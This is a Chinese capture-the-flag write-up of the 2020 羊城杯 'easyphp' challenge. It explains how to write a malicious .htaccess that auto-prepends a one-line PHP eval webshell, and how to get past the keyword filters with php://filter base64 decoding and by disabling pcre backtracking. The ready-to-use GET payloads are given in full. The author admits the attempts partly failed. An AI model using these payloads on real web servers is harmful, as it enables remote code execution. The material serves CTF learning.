[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过
目錄:
- 一. 自己做:
- 二、學到的。不足:
- 三、
- 1. 利用.htaccess來設置文件自動包含
- 2. 繞過 \n 的過濾
- 3. 繞過stristr的過濾。
- 4. 繞過preg_match
- 2.思路二:
- 注意用python寫入時的注意點:
好像 原題的話,是由聲明的,所以我的本地才不行。
本題環境只對index.php文件進行解析。并且開頭和末尾都對當前目錄下的文件進行檢查,刪除(unlink)除了index.php外的所有文件
刪除文件,之后寫入htaccess文件,那么只能夠index.php作為木馬文件,
那么我傳入一個htaccess,讓這個index包含htaccess,有一句話木馬,但是再一次用index使用木馬的時候,就會把htaccess刪除了啊,就沒有木馬了。
一. 自己做:
源碼:
<?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "\nHello, world"); ?>不懂,為什么直接寫入馬的話,不給解析程PHP,而是直接輸出,我在本地上添加鏈接描述都是好的。
二、學到的。不足:
用的是 寫入 .htaccess。然后自己包含一句話馬,
三、
1. 利用.htaccess來設置文件自動包含
#format php_value setting_name setting_value #example php_value auto_append_file .htaccess可以使用auto_prepend_file和auto_append_file來進行包含,這樣每個頁面都會require所指定的PHP文件,
auto_prepend_file # 在頁面的頂部加載文件 auto_append_file # 在頁面的底部加載問題注意:auto_prepend_file 與 auto_append_file 只能require一個php文件,但這個php文件內可以require多個其他的php文件。。。
2. 繞過 \n 的過濾
題目會在寫入文件的后面添加\nHello, world,我們構造payload時,結尾要用\ 處理content中的\n ,不然違背.htaccess 書寫格式會導致Apache 運行崩潰
比如,我們需要寫入:
php_value auto_prepend_file .htaccess #<?php phpinfo();?>\如果末尾不加\來轉義\n,文件內容就會變為
php_value auto_prepend_file .htaccess #<?php phpinfo();?> Hello, world會出現末尾行的字符串不符合htaccess文件的語法標準而報錯導致htaccess文件無法執行,然后全部500.
3. 繞過stristr的過濾。
過濾了關鍵字,可以用 base64,filter過濾器進行繞過。
4. 繞過preg_match
if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}preg_match的返回值:
returns 1; // 如果匹配到. returns 0; // 如果未匹配到. returns FALSE; // 發生錯誤時.正則中寫的是 if(preg_match("/[^a-z\.]/", $filename) == 1),而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)。這樣我們可以用其他的情況來進行繞過,比如,使它發生錯誤,。
文件名寫入php://filter需要繞過preg_match函數的檢查。第一印象想到preg_match處理數組是會返回NULL,然而這里file_put_contents函數傳入的文件名參數不支持數組的形式。
在PHP中,正則匹配的遞歸次數由 pcre.backtrack_limit 控制 PHP5.3.7 版本之前默認值為 10萬 ,PHP5.3.7 版本之后默認值為 100萬 ,該值可以通過php.ini設置,也可以通過 phpinfo 頁面查看。
。。。
那么可以設置pcre.backtrack_limit值為0,使得回溯次數為0,來使得正則匹配什么都不匹配,即返回false。。
那我我們就在.htaccess中修改配置,
php_value prce.backtrack_limit 0 php_value prce.jit 0 php_value auto_prepend_file .htaccess #a<?php eval($_POST(cmd)); ?>\因為php版本>=7,所以需要特別設置pcre.jit這個環境變量為0,不適用JIT引擎來匹配正則表達式,就使得pcre.backtrack_limit這個環境變量能正常生效,繞過preg_match函數。
php_value pcre.backtrack_limit 0 php_value prec.jit 0 #\也就是
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess。
然后寫入一句話,,這里用 base64加密,因為不讓我們出現數字和空格,,所以就不行了。
我這樣第二次傳入馬兒的時候,是不能用post傳參的,因為訪問網頁一次以后就刪除了htaccess,所以只能夠訪問一次,所以還是要用get方法傳參的,
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
說一說,為什么不直接寫入這個上面的這個自動包含的東西,呃,,,因為寫不進去,要有prepend_file,有file關鍵詞,而題目會檢測我們傳入的content參數,所以直接寫入是不行的,
那不行啊,我們就是要寫入這么一段代碼進去。
這個時候,就要想到php的偽協議了。我們傳入的時候是一種編碼,然后用過濾器解碼之后寫入,然后就行了。那么什么時候用php://filter/write=convert.base64-decode/resource=.htaccess。這樣用過濾器來操作,
那么這樣的話文件名filename就會收到限制了。
下面這個是限制條件:反斜杠和冒號肯定是不行了啊。
那么就要繞過這個preg_match,正好就要那個.htaccess來設置:
所以我們第一次傳入:
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess。
然后再用哪個PHP的過濾器傳入我們的那一部分,
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
吐了,,我沒成功,思路是正確的 啊,
2.思路二:
不是我們像要傳入哪個prepend_file么,然后過濾了file,那么我們就在傳入的時候,用\把file給分隔開就好了。
我在本地打可以,遠程環境就不行,,,吐了。。
注意用python寫入時的注意點:
反斜杠連接符要進行注釋,#在python中是注釋符,然后用\#這樣也不行,就只能用url編碼了
總結
以上是生活随笔為你收集整理的[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: android guide 中文版,Sk
- 下一篇: 1521端口 mysql_Linux开放